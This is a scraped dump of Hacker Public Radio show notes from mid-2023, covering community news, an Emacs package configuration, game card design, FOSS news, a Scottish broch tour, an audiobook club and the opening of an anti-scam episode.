                                                            3871Mon2023-06-05HPR Community News for May 2023HPR Volunteers
                                                            3872Tue2023-06-06Sgoti update with replies.Some Guy On The Internet
                                                            3873Wed2023-06-07Nextcloud instance updatingToeJet
                                                            3874Thu2023-06-082022-2023 New Years Show Episode 9HPR Volunteers
                                                            3875Fri2023-06-09Parlons Linux Season 1 Episode 7, le sticky bitKen Fallon
                                                            3876Mon2023-06-12Recording An Episode For Hacker Public RadioRyuno-Ki
                                                            3877Tue2023-06-13KeePass X.C. audit review.Some Guy On The Internet
                                                            3878Wed2023-06-14Linux commands to gather information about your systemJWP
                                                            3879Thu2023-06-15HPR at HillendDave Morriss
                                                            3880Fri2023-06-16Installing a Google Nest ThermostatAhuka
                                                            3881Mon2023-06-19Xplane_VatSim_2022operat0r
                                                            3882Tue2023-06-20Alternatives to the cd commandKlaatu
                                                            3883Wed2023-06-21Emergency Show: How to demonstrate the power of condensing steamMike Ray
                                                            3884Thu2023-06-222022-2023 New Years Show Episode 10HPR Volunteers
                                                            3885Fri2023-06-23L'apéro des Papas Manchots podcast, Rencontre avec le vétérinaire du LibreKen Fallon
                                                            3886Mon2023-06-26light saber zzz ohh no!operat0r
                                                            3887Tue2023-06-2710 must-know commands for a new cloud adminKlaatu
                                                            3888Wed2023-06-28KeePassXC recent CVESome Guy On The Internet
                                                            3889Thu2023-06-29comm - compare two sorted files line by lineKen Fallon
                                                            3890Fri2023-06-30Lessons LearnedAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 6 comments in total.

                                                            \n\n

                                                            This month's shows

                                                            \n

                                                            There are 6 comments on 6 of this month's shows:

                                                            \n
                                                            • hpr3871\n(2023-06-05) \"HPR Community News for May 2023\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMechatroniac on 2023-06-10:\n\"hpr3816\"

                                                              \n
                                                            • hpr3872\n(2023-06-06) \"Sgoti update with replies.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2023-06-08:\n\"I'm glad you are enjoying my shows\"

                                                              \n
                                                            • hpr3878\n(2023-06-14) \"Linux commands to gather information about your system\"\nby JWP.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nfoky on 2023-06-15:\n\"one command to get them all\"

                                                              \n
                                                            • hpr3879\n(2023-06-15) \"HPR at Hillend\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2023-06-22:\n\"Dr. Campbell\"

                                                              \n
                                                            • hpr3880\n(2023-06-16) \"Installing a Google Nest Thermostat\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2023-06-22:\n\"Addendum\"

                                                              \n
                                                            • hpr3884\n(2023-06-22) \"2022-2023 New Years Show Episode 10\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2023-06-24:\n\"PIN Story\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-June/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Relocation of the HPR site

                                                            \n

                                                            A lot of work has gone into relocating HPR to a new server as well as\nmigrating to a static site. There is still work to do.

                                                            \n
                                                              \n
                                                            • The main database has been moved from\nanhonesthost.com
                                                            • \n
                                                            • The static site generator written by Rho`n is being\nused to generate the entire new website (with a few exceptions).
                                                            • \n
                                                            • The remaining dynamic features (e.g. show submission and comment\nentry) are provided by a PHP interface
                                                            • \n
                                                            • There are outstanding issues with email on the server so at the\nmoment show submission needs manual intervention from the Janitors.
                                                            • \n
                                                            • The hpr mailing list is not working at present
                                                            • \n
                                                            • The way in which new shows are processed has had to be changed and\nshows containing pictures are not yet being rendered properly
                                                            • \n
                                                            \n\n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3892,"date":"2023-07-04","title":"Emacs package curation, part 1","duration":2132,"summary":"Let's go through every single package installed in my Emacs configuration.","notes":"

                                                            Not really every single one, because straight.el installs\ndependencies automatically.

                                                            \n

                                                            Here's the file I went through during this recording. Some things may\nhave changed slightly since the time of recording. Save this file in\n~/.emacs.d/init.el to reproduce my exact Emacs\nconfiguration that I use at home and at work.

                                                            \n
                                                            ;;; init.el ---  This is Tiago's init.el file\n;;; Commentary:\n;;; Thanks to everyone that curates Emacs packages.\n\n;;; Code:\n;; BEGIN Straight.el bootstrap\n(defvar bootstrap-version)\n(let ((bootstrap-file\n       (expand-file-name "straight/repos/straight.el/bootstrap.el" user-emacs-directory))\n      (bootstrap-version 6))\n  (unless (file-exists-p bootstrap-file)\n    (with-current-buffer\n        (url-retrieve-synchronously\n         "https://raw.githubusercontent.com/radian-software/straight.el/develop/install.el"\n         'silent 'inhibit-cookies)\n      (goto-char (point-max))\n      (eval-print-last-sexp)))\n  (load bootstrap-file nil 'nomessage))\n;; END Straight.el bootstrap\n\n(straight-use-package 'use-package)\n(setq straight-use-package-by-default t)\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; <<< THE ESSENTIALS >>>  ;;;\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n;; Get minor modes off the modeline\n(use-package diminish)\n\n(use-package evil\n  :init (setq evil-want-keybinding nil)\n  :config (evil-mode)\n  :custom (evil-undo-system 'undo-redo)\n  :bind ("C-u" . evil-scroll-up))\n\n(use-package evil-collection\n  :diminish evil-collection-unimpaired-mode\n  :after evil\n  :config (evil-collection-init))\n\n(use-package evil-surround\n  :after evil\n  :config\n  (global-evil-surround-mode 1))\n\n;; In-Buffer Completion\n(use-package company\n  :diminish\n  :config (global-company-mode))\n\n;; completion with extra info box\n(use-package company-box\n  :diminish\n  :hook (company-mode . company-box-mode))\n\n;; Show key bindings as you go\n(use-package which-key\n  :diminish\n  :config (which-key-mode))\n\n;; search query feedback in the buffer\n(use-package anzu\n  :diminish\n  :config (global-anzu-mode +1))\n\n(use-package evil-anzu)\n\n;; Completion in the minibuffer (snippet from vertico)\n(use-package vertico\n  :init\n  (vertico-mode)\n\n  ;; Different scroll margin\n  ;; (setq vertico-scroll-margin 0)\n\n  ;; Show more candidates\n  ;; (setq vertico-count 20)\n\n  ;; Grow and shrink the Vertico minibuffer\n  ;; (setq vertico-resize t)\n\n  ;; Optionally enable cycling for `vertico-next' and `vertico-previous'.\n  ;; (setq vertico-cycle t)\n  )\n\n;; Persist history over Emacs restarts. Vertico sorts by history position.\n;; (use-package savehist\n;;   :init\n;;   (savehist-mode))\n\n;; A few more useful configurations...\n(use-package emacs\n  :init\n  ;; Add prompt indicator to `completing-read-multiple'.\n  ;; We display [CRM<separator>], e.g., [CRM,] if the separator is a comma.\n  (defun crm-indicator (args)\n    (cons (format "[CRM%s] %s"\n                  (replace-regexp-in-string\n                   "\\\\`\\\\[.*?]\\\\*\\\\|\\\\[.*?]\\\\*\\\\'" ""\n                   crm-separator)\n                  (car args))\n          (cdr args)))\n  (advice-add #'completing-read-multiple :filter-args #'crm-indicator)\n\n  ;; Do not allow the cursor in the minibuffer prompt\n  (setq minibuffer-prompt-properties\n        '(read-only t cursor-intangible t face minibuffer-prompt))\n  (add-hook 'minibuffer-setup-hook #'cursor-intangible-mode)\n\n  ;; Emacs 28: Hide commands in M-x which do not work in the current mode.\n  ;; Vertico commands are hidden in normal buffers.\n  ;; (setq read-extended-command-predicate\n  ;;       #'command-completion-default-include-p)\n\n  ;; Enable recursive minibuffers\n  (setq enable-recursive-minibuffers t))\n\n;; Optionally use the `orderless' completion style.\n;; Get completion even if you type substrings that don't match in the\n;; same order you typed them in.\n(use-package orderless\n  :init\n  ;; Configure a custom style dispatcher (see the Consult wiki)\n  ;; (setq orderless-style-dispatchers '(+orderless-consult-dispatch orderless-affix-dispatch)\n  ;;       orderless-component-separator #'orderless-escapable-split-on-space)\n  (setq completion-styles '(orderless basic)\n        completion-category-defaults nil\n        completion-category-overrides '((file (styles partial-completion)))))\n\n;; Enable rich annotations in the completion\n(use-package marginalia\n  ;; Either bind `marginalia-cycle' globally or only in the minibuffer\n  :bind (("M-A" . marginalia-cycle)\n         :map minibuffer-local-map\n         ("M-A" . marginalia-cycle))\n\n  ;; The :init configuration is always executed (Not lazy!)\n  :init\n\n  ;; Must be in the :init section of use-package such that the mode gets\n  ;; enabled right away. Note that this forces loading the package.\n  (marginalia-mode))\n\n;; Searching commands and lots of other stuff\n;; This is a snippet taken from consult\n(use-package consult\n  ;; Replace bindings. Lazily loaded due by `use-package'.\n  :bind (;; C-c bindings in `mode-specific-map'\n         ("C-c M-x" . consult-mode-command)\n         ("C-c h" . consult-history)\n         ("C-c k" . consult-kmacro)\n         ("C-c m" . consult-man)\n         ("C-c i" . consult-info)\n         ([remap Info-search] . consult-info)\n         ;; C-x bindings in `ctl-x-map'\n         ("C-x M-:" . consult-complex-command)     ;; orig. repeat-complex-command\n         ("C-x b" . consult-buffer)                ;; orig. switch-to-buffer\n         ("C-x 4 b" . consult-buffer-other-window) ;; orig. switch-to-buffer-other-window\n         ("C-x 5 b" . consult-buffer-other-frame)  ;; orig. switch-to-buffer-other-frame\n         ("C-x r b" . consult-bookmark)            ;; orig. bookmark-jump\n         ("C-x p b" . consult-project-buffer)      ;; orig. project-switch-to-buffer\n         ;; Custom M-# bindings for fast register access\n         ("M-#" . consult-register-load)\n         ("M-'" . consult-register-store)          ;; orig. abbrev-prefix-mark (unrelated)\n         ("C-M-#" . consult-register)\n         ;; Other custom bindings\n         ("M-y" . consult-yank-pop)                ;; orig. yank-pop\n         ;; M-g bindings in `goto-map'\n         ("M-g e" . consult-compile-error)\n         ("M-g f" . consult-flymake)               ;; Alternative: consult-flycheck\n         ("M-g g" . consult-goto-line)             ;; orig. goto-line\n         ("M-g M-g" . consult-goto-line)           ;; orig. goto-line\n         ("M-g o" . consult-outline)               ;; Alternative: consult-org-heading\n         ("M-g m" . consult-mark)\n         ("M-g k" . consult-global-mark)\n         ("M-g i" . consult-imenu)\n         ("M-g I" . consult-imenu-multi)\n         ;; M-s bindings in `search-map'\n         ("M-s d" . consult-find)\n         ("M-s D" . consult-locate)\n         ("M-s g" . consult-grep)\n         ("M-s G" . consult-git-grep)\n         ("M-s r" . consult-ripgrep)\n         ("M-s l" . consult-line)\n         ("M-s L" . consult-line-multi)\n         ("M-s k" . consult-keep-lines)\n         ("M-s u" . consult-focus-lines)\n         ;; Isearch integration\n         ("M-s e" . consult-isearch-history)\n         :map isearch-mode-map\n         ("M-e" . consult-isearch-history)         ;; orig. isearch-edit-string\n         ("M-s e" . consult-isearch-history)       ;; orig. isearch-edit-string\n         ("M-s l" . consult-line)                  ;; needed by consult-line to detect isearch\n         ("M-s L" . consult-line-multi)            ;; needed by consult-line to detect isearch\n         ;; Minibuffer history\n         :map minibuffer-local-map\n         ("M-s" . consult-history)                 ;; orig. next-matching-history-element\n         ("M-r" . consult-history))                ;; orig. previous-matching-history-element\n\n  ;; Enable automatic preview at point in the *Completions* buffer. This is\n  ;; relevant when you use the default completion UI.\n  :hook (completion-list-mode . consult-preview-at-point-mode)\n\n  ;; The :init configuration is always executed (Not lazy)\n  :init\n\n  ;; Optionally configure the register formatting. This improves the register\n  ;; preview for `consult-register', `consult-register-load',\n  ;; `consult-register-store' and the Emacs built-ins.\n  (setq register-preview-delay 0.5\n        register-preview-function #'consult-register-format)\n\n  ;; Optionally tweak the register preview window.\n  ;; This adds thin lines, sorting and hides the mode line of the window.\n  (advice-add #'register-preview :override #'consult-register-window)\n\n  ;; Use Consult to select xref locations with preview\n  (setq xref-show-xrefs-function #'consult-xref\n        xref-show-definitions-function #'consult-xref)\n\n  ;; Configure other variables and modes in the :config section,\n  ;; after lazily loading the package.\n  :config\n\n  ;; Optionally configure preview. The default value\n  ;; is 'any, such that any key triggers the preview.\n  ;; (setq consult-preview-key 'any)\n  ;; (setq consult-preview-key "M-.")\n  ;; (setq consult-preview-key '("S-<down>" "S-<up>"))\n  ;; For some commands and buffer sources it is useful to configure the\n  ;; :preview-key on a per-command basis using the `consult-customize' macro.\n  (consult-customize\n   consult-theme :preview-key '(:debounce 0.2 any)\n   consult-ripgrep consult-git-grep consult-grep\n   consult-bookmark consult-recent-file consult-xref\n   consult--source-bookmark consult--source-file-register\n   consult--source-recent-file consult--source-project-recent-file\n   ;; :preview-key "M-."\n   :preview-key '(:debounce 0.4 any))\n\n  ;; Optionally configure the narrowing key.\n  ;; Both < and C-+ work reasonably well.\n  (setq consult-narrow-key "<") ;; "C-+"\n\n  ;; Optionally make narrowing help available in the minibuffer.\n  ;; You may want to use `embark-prefix-help-command' or which-key instead.\n  ;; (define-key consult-narrow-map (vconcat consult-narrow-key "?") #'consult-narrow-help)\n\n  ;; By default `consult-project-function' uses `project-root' from project.el.\n  ;; Optionally configure a different project root function.\n  ;;;; 1. project.el (the default)\n  ;; (setq consult-project-function #'consult--default-project--function)\n  ;;;; 2. vc.el (vc-root-dir)\n  ;; (setq consult-project-function (lambda (_) (vc-root-dir)))\n  ;;;; 3. locate-dominating-file\n  ;; (setq consult-project-function (lambda (_) (locate-dominating-file "." ".git")))\n  ;;;; 4. projectile.el (projectile-project-root)\n  ;; (autoload 'projectile-project-root "projectile")\n  ;; (setq consult-project-function (lambda (_) (projectile-project-root)))\n  ;;;; 5. No project support\n  ;; (setq consult-project-function nil)\n)\n\n;; workspaces\n(use-package perspective\n  :bind ("C-x C-b" . persp-list-buffers)         ; or use a nicer switcher, see below\n  :custom (persp-mode-prefix-key (kbd "C-c M-p"))  ; pick your own prefix key here\n  :init (persp-mode))\n\n;; theme\n(use-package doom-themes\n  :config\n  ;; Global settings (defaults)\n  (setq doom-themes-enable-bold t    ; if nil, bold is universally disabled\n        doom-themes-enable-italic t) ; if nil, italics is universally disabled\n  (load-theme 'doom-one t)\n\n  ;; Corrects (and improves) org-mode's native fontification.\n  (doom-themes-org-config))\n\n;; modeline\n(use-package powerline\n  :straight (:host github :repo "milkypostman/powerline")\n  :config (powerline-default-theme))\n\n;; modeline theme\n(use-package airline-themes\n  :config (load-theme 'airline-onedark t))\n\n;; makes temporary or non-editing buffers darker\n(use-package solaire-mode\n  :config (solaire-global-mode +1))\n\n;; snippets\n(use-package yasnippet\n  :diminish yas-minor-mode\n  :straight (:host github :repo "joaotavora/yasnippet")\n  :config (yas-global-mode 1))\n\n;; projects\n(use-package projectile\n  :bind-keymap\n  ("C-c p" . projectile-command-map))\n\n(use-package rg)\n\n;;;;;;;;;;;\n;;; Org ;;;\n;;;;;;;;;;;\n\n(use-package org\n  :commands (org-mode)\n  :init (setq org-directory "~/org/"\n              org-noter-notes-search-path '("~/org/roam/")\n              org-cite-global-bibliography '("~/org/biblio.bib")\n              org-capture-templates\n                     '(("n" "Note" entry\n                              (file "~/org/todo.org")\n                              "* %^{prompt}\\n%U\\n\\n%?")\n                       ("r" "Reading list note" entry\n                              (file "~/org/reading.org")\n                              "* %^{prompt}\\n%U\\n\\n%x"\n                              :immediate-finish :jump-to-captured)))\n  :config (require 'org-crypt)\n          (org-crypt-use-before-save-magic)\n          (require 'org-id)\n          (defun tgdnt/advice-org-ctrl-c-ctrl-c (&rest args)\n            "Run `org-todo' if point is on a visible heading."\n            (let ((do-not-run-orig-fn (org-at-heading-p t)))\n                (when do-not-run-orig-fn\n                (call-interactively #'org-todo))\n                do-not-run-orig-fn))\n          (advice-add 'org-ctrl-c-ctrl-c :before-until #'tgdnt/advice-org-ctrl-c-ctrl-c)\n  :hook (org-mode . auto-fill-mode)\n  :bind ("C-x h" . visible-mode)\n        ("C-c n a" . org-agenda)\n  :custom (org-tags-column 2)\n          (org-tags-exclude-from-inheritance '("crypt"))\n          (org-crypt-key "90A77BEA68A05915")\n          (org-crypt-disable-auto-save t)\n          (org-adapt-indentation nil)\n          (org-clock-ask-before-exiting nil)\n          (org-startup-folded t)\n          (org-startup-indented t)\n          (org-priority-start-cycle-with-default nil)\n          (org-id-link-to-org-use-id 'use-existing)\n          (org-agenda-files (append (directory-files "~/org/" t ".+\\.org$")))\n          (org-agenda-custom-commands\n                '(("A" "Agenda and Unscheduled TODOs"\n                   ((agenda "")\n                    (todo "TODO" ((org-agenda-overriding-header "Unscheduled actions:")))\n                    (todo "PROJ" ((org-agenda-overriding-header "Projects:")))\n                    (todo "OPEN" ((org-agenda-overriding-header "Open items:")))\n                    (todo "HOLD" ((org-agenda-overriding-header "On Hold:"))))\n                    ((org-agenda-dim-blocked-tasks 'invisible))\n                                    nil)))\n          (org-agenda-todo-ignore-with-date t)\n          (org-agenda-start-day nil)\n          (org-agenda-start-on-weekday nil)\n          (org-agenda-span 1)\n          (org-agenda-skip-deadline-prewarning-if-scheduled t)\n          (org-agenda-prefix-format '((agenda . "%?-12t% s")\n                                      (todo . "  ")\n                                      (tags . "  ")\n                                      (search . "  ")))\n          (org-agenda-deadline-leaders '("!" "%1d" "‼"))\n          (org-agenda-scheduled-leaders '("#" "%1d"))\n          (org-enforce-todo-dependencies t)\n          (org-refile-targets '((nil :maxlevel . 2)\n                                (org-agenda-files :maxlevel . 2)))\n          (org-attach-id-dir "~/org/attachments")\n          (org-crypt-disable-auto-save t)\n          (org-crypt-tag-matcher "crypt")\n          (org-archive-location "~/org/archive/archive.org::")\n          (org-deadline-warning-days 5)\n          (org-archive-save-context-info '(time file olpath ltags itags category))\n          (org-id-link-to-org-use-id 'use-existing)\n          (org-todo-keywords '((type "TODO(t)" ;; A clearly defined action\n                                     "OPEN(o)" ;; An open item, must be clarified\n                                     "HOLD(h)" ;; An open item, must be clarified\n                                     "PROJ(p)" ;; A project, with actions within it\n                                   "|" "DONE(d)" "QUIT(q)"))))\n\n;; make visible-mode automatic when entering insert mode\n(use-package org-appear\n  :init (setq org-hide-emphasis-markers t)\n  :hook (org-mode . org-appear-mode)\n  :custom (org-appear-autolinks t))\n\n(use-package evil-org\n  :after org\n  :hook (org-mode . (lambda () evil-org-mode))\n  :config\n  (require 'evil-org-agenda)\n  (evil-org-agenda-set-keys))\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;; more basic settings ;;;\n;;;;;;;;;;;;;;;;;;;;;;;;;;;\n(setq backup-directory-alist\n              `(("." . ,(concat user-emacs-directory "backups")))\n      backup-by-copying t\n      delete-old-versions t\n      kept-new-versions 6\n      kept-old-versions 2\n      version-control t)\n\n(setq-default fill-column 64\n              indent-tabs-mode nil\n              display-time-day-and-date t\n              display-time-24hr-format t)\n\n(setq custom-file (expand-file-name "custom.el" user-emacs-directory))\n(load custom-file t)\n\n(when window-system\n  (scroll-bar-mode -1)\n  (menu-bar-mode -1)\n  (tool-bar-mode -1))\n\n;; (toggle-frame-fullscreen)\n(display-time)\n(display-battery-mode)\n(server-start)\n(setq inhibit-startup-screen t)\n\n;; If on a graphical env, load init-base, if not on windows, load init-extra\n(when window-system\n  (load-file (expand-file-name "init-base.el" user-emacs-directory))\n  (require 'init-base)\n  (unless (string= (x-server-vendor) "Microsoft Corp.")\n      (load-file (expand-file-name "init-extra.el" user-emacs-directory))\n      (require 'init-extra)))\n\n(provide 'init)\n;;; init.el ends here
                                                            \n

                                                            In part 2, coming soon, we'll go through init-base.el and\ninit-extra.el.

                                                            \n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"emacs,elisp","version":0,"downloads":0,"valid":1}, {"id":3893,"date":"2023-07-05","title":"Game card design resources","duration":2251,"summary":"How design card","notes":"

                                                            Concepts

                                                            \n\n

                                                            A poker deck is a great starting point for developing game mechanics without getting distracted by what the game assets will look like. Playing cards have lots of unique things you can structure game play around, like two colours, four suits, face cards, Joker, and so on.

                                                            \n\n

                                                            Tarot cards add even more variety, because a tarot deck usually has unique art on every card, which provides you plenty of elements to work with. Etsy has lots of custom tarot decks that are beautifully designed by indie artists.

                                                            \n\n

                                                            Design

                                                            \n\n

                                                            TheGameCrafter.com has card templates for Inkscape.

                                                            \n\n

                                                            An easier option is to use LibreOffice Draw. Go to Page > Page Properties > and set page size to 57mm x 89mm (2.25 x 3.5 inches).

                                                            \n

                                                            Minimalism is a great tool for any content creator on a budget. Think of the simplest requirement to convey your game mechanic. If your cards look better than your game mechanics play, nobody's going to play your game. Spend your time and effort on the game, not the design. (There's a balance to be struck, though. If your game assets make no sense and people can't figure out how to play the game, that's a problem too.)

                                                            \n\n

                                                            Resources

                                                            \n
                                                            \n
                                                            Arcmage.org
                                                            \n
                                                            Petition card game
                                                            \n
                                                            Open Game Art
                                                            \n
                                                            Freesvg.org
                                                            \n
                                                            \n

                                                            You can also look through places like Artstation.com and Deviantart.com, but finding Creative Commons and consistent-looking art is a challenge.\n

                                                            \n\n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"game,design","version":0,"downloads":0,"valid":1}, {"id":3894,"date":"2023-07-06","title":"The Page 42 Show: Ugly News Week, Show's Epoch!","duration":2261,"summary":"An hour of news and commentary of software development and the overall FOSS space. ","notes":"

                                                            Show Notes

                                                            \n

                                                            I'm Gage Hopper, and this is my weekly(-ish) show on FOSS news and\nsoftware tinkering.

                                                            \n

                                                            Rust Being Destroyed\nBy Foundation Idiocy

                                                            \n

                                                            https://www.youtube.com/watch?v=QEnuzwCWpgQ

                                                            \n
                                                              \n
                                                            • Rust's apology to JeanHeid Meneide:
                                                              \nhttps://blog.rust-lang.org/2023/05/29/RustConf.html
                                                            • \n
                                                            \n

                                                            Opera One: For the\nadventurous

                                                            \n

                                                            https://betanews.com/2023/06/20/opera-one-ai-powered-browsing-tab-islands-linux-windows-macos/

                                                            \n
                                                              \n
                                                            • Requires an Opera Account
                                                            • \n
                                                            \n

                                                            Amazon Retaliates Against\nLuis

                                                            \n

                                                            https://youtu.be/Kcohq313q00

                                                            \n
                                                              \n
                                                            • Luis Rossmann has been doing independent repairs for over a\ndecade
                                                            • \n
                                                            \n

                                                            Mesa 23.2\nRelease Speeds Up Intel Arc Cards By 11%:

                                                            \n

                                                            https://www.tomshardware.com/news/intel-arc-driver-linux-boost

                                                            \n

                                                            Wtf, RedHat?

                                                            \n

                                                            https://hackaday.com/2023/06/23/et-tu-red-hat/

                                                            \n

                                                            Kotlin Korner

                                                            \n

                                                            Interesting things I find worth sharing about my experiences with\nKotlin

                                                            \n

                                                            My handle is @hopper_mcs over on Twitter. Ciao!

                                                            \n","hostid":420,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Page 42, P42, rust, kotlin, redhat, linux, foss, software development, mesa","version":0,"downloads":0,"valid":1}, {"id":3895,"date":"2023-07-07","title":"What's in my backpack","duration":514,"summary":"Stache walks through the contents of his work backpack","notes":"

                                                            I have many things in my work backpack, to include a Raspberry Pico,\nmultiple USB drives, USB cables, two laptops, my glasses and a\nsunglasses case attached to the outside.

                                                            \n

                                                            It is a 5.11 RUSH MOAB 10 Sling Pack 18L, not because I want to be\n\"tacticool\" but because I like their products, and that they support\nveterans like myself.

                                                            \n","hostid":408,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"backpack contents, toolkit","version":0,"downloads":0,"valid":1}, {"id":3896,"date":"2023-07-10","title":"The Brochs of Glenelg","duration":782,"summary":"A verbal tour in situ of one of the two brochs of Glenelg","notes":"In this episode I visit one of the best preserved brochs on the Scottish mainland called Dun Telve. It is one of two that are a few miles outside the village of Glenelg which is rare itself in that its name is a palindrome.\n\n

                                                            \"The

                                                            \n\n

                                                            \"The

                                                            \n","hostid":268,"series":101,"explicit":0,"license":"CC-BY-SA","tags":"history,scotland,prehistoric","version":0,"downloads":0,"valid":1}, {"id":3897,"date":"2023-07-11","title":"HPR AudioBook Club 22 - Murder at Avedon Hill","duration":6119,"summary":"In this episode the HPR Audiobook Club discusses \"Murder at Avedon Hill\" by P.G. Holyfield","notes":"In\nthis episode the HPR Audiobook Club discusses the audiobook Murder\nat Avedon Hill by P.G. Holyfield\n
                                                            \n

                                                            Non-Spoiler Thoughts

                                                            \n
                                                            \n
                                                              \n
                                                            • Great reading, great audio quality, fun setting and setup. It had\nthe feel of a role playing adventure at the beginning, but was well\nfleshed out by the middle. It would have been slightly better if all of\nthe guest voices had had a pronunciation guide for the names.
                                                            • \n
                                                            \n

                                                            Beverage Reviews

                                                            \n
                                                            \n
                                                              \n
                                                            • Thaj: A delicious regular chocolate malt from the\nlocal ice cream shop \"The Comfy Cow\"
                                                            • \n
                                                            • x1101: Barton's 1795
                                                            • \n
                                                            • Pokey Leinenkugel's: I have a fall variety pack,\nbut this is not the fall. I'm not enjoying this beer as much as I\nexpected. It's good, and I can taste the high quality of the\ningredients, but I think it's just the wrong season for this.
                                                            • \n
                                                            \n

                                                            Things We Talked About

                                                            \n
                                                            \n\n

                                                            Our Next Audiobook

                                                            \n
                                                            \n

                                                            A\nPrincess of Mars by Edgar Rice Burroughs

                                                            \n

                                                            The Next Audiobook Club\nRecording

                                                            \n
                                                            \n

                                                            Right now we are working through a backlog of older episodes that\nhave already been recorded. Once that ends we fully anticipate recording\nnew episodes with listener participation.

                                                            \n

                                                            Feedback

                                                            \n
                                                            \n

                                                            Thank you very much for listening to this episode of the HPR\nAudioBookClub. We had a great time recording this show, and we hope you\nenjoyed it as well. We also hope you'll consider joining us next time we\nrecord a new episode. Please leave a few words in the episode's comment\nsection.

                                                            \n

                                                            As always; remember to visit the HPR contribution page HPR could\nreally use your help right now.

                                                            \n

                                                            Sincerely, The HPR Audiobook Club

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment,\nwe always include a few.

                                                            \n

                                                            Our Audio

                                                            \n
                                                            \n

                                                            This episode was processed using Audacity. We've been making\nsmall adjustments to our audio mix each month in order to get the best\npossible sound. Its been especially challenging getting all of our\nvoices relatively level, because everyone has their own unique setup.\nMumble is great for bringing us all together, and for recording, but\nit's not good at making everyone's voice the same volume. We're pretty\nhappy with the way this month's show turned out, so we'd like to share\nour editing process and settings with you and our future selves (who, of\ncourse, will have forgotten all this by then).

                                                            \n

                                                            We use the \"Truncate Silence\" effect with it's default settings to\nminimize the silence between people speaking. When used with it's\ndefault (or at least reasonable) settings, Truncate Silence is extremely\neffective and satisfying. It makes everyone sound smarter, it makes the\nfile shorter without destroying actual content, and it makes a\nconversations sound as easy and fluid during playback as it was while it\nwas recorded. It can be even more effective if you can train yourself to\nremain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass\nthe file through Truncate Silence ONCE. If you pass it through a second\ntime, or if you set it too aggressively your audio may sound sped up and\nchoppy.

                                                            \n

                                                            Next we use the \"Compressor\" effect with the following settings:

                                                            \n
                                                            Threshold: -30db\n\nNoise Floor: -50db\n\nRatio: 3:1\n\nAttack Time: 0.2sec\n\nDecay Time: 1.0 sec`
                                                            \n

                                                            \"Make-up Gain for 0db after compressing\" and \"compress based on\npeaks\" were both left un-checked.

                                                            \n

                                                            After compressing the audio we cut any pre-show and post-show chatter\nfrom the file and save them in a separate file for possible use as\nouttakes after the closing music.

                                                            \n

                                                            We adjust the Gain so that the VU meter in Audacity hovers around\n-12db while people are speaking, and we try to keep the peaks under\n-6db, and we adjust the Gain on each of the new tracks so that all\nvolumes are similar, and more importantly comfortable. Once this is done\nwe can \"Mix and Render\" all of our tracks into a single track for export\nto the .FLAC file which is uploaded to the HPR server.

                                                            \n

                                                            At this point we listen back to the whole file and we work on the\nshownotes. This is when we can cut out anything that needs to be cut,\nand we can also make sure that we put any links in the shownotes that\nwere talked about during the recording of the show. We finish the\nshownotes before exporting the .aup file to .FLAC so that we can paste a\ncopy of the shownotes into the audio file's metadata.

                                                            \n

                                                            At this point we add new, empty audio tracks into which we paste the\nintro, outro and possibly outtakes, and we rename each track\naccordingly.

                                                            \n

                                                            Remember to save often when using Audacity. We like to save after\neach of these steps. Audacity has a reputation for being \"crashy\" but if\nyou remember save after every major transform, you will wonder how it\never got that reputation.

                                                            \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"Audiobook club, audiobook, fantasy, fiction","version":0,"downloads":0,"valid":1}, {"id":3898,"date":"2023-07-12","title":"The Oh No! News.","duration":1485,"summary":"Sgoti talks about internet scams.","notes":"

                                                            The Oh No! news.

                                                            \n

                                                            Oh No! News is Good\nNews.

                                                            \n
                                                              \n
                                                            • TAGS: User space, Cybercrime, fraud, scams
                                                            • \n
                                                            \n
                                                            \n

                                                            User space.

                                                            \n

                                                            Cybercrime, also known as scams or fraud, is constantly evolving due\nto the many data breaches occurring around the world. Attackers gather\nmore of our personal data from these data breaches, then use that data\nto develop or modify their attacks. Users must remain on guard against\nsocial engineered attacks aimed at defrauding users of personal\ninformation and/or property (usually money/currency). I’m suggesting\nusers update themselves as they would update their computers. Knowing\nthe types of attacks and how the attack is deployed will benefit you in\nthe fight against Cybercrime.
                                                            \n

                                                            \n

                                                            Reporting Cybercrime is beneficial for all users. When a user reports\nCybercrime, that information can help investigators combat this growing\nthreat; and broadcast warnings to the greater population. I’ve provided\na few links below to assist you in learning and reporting\nCybercrime.
                                                            \n

                                                            \n

                                                            Common delivery methods for social engineered attacks are:
                                                            \n

                                                            \n
                                                              \n
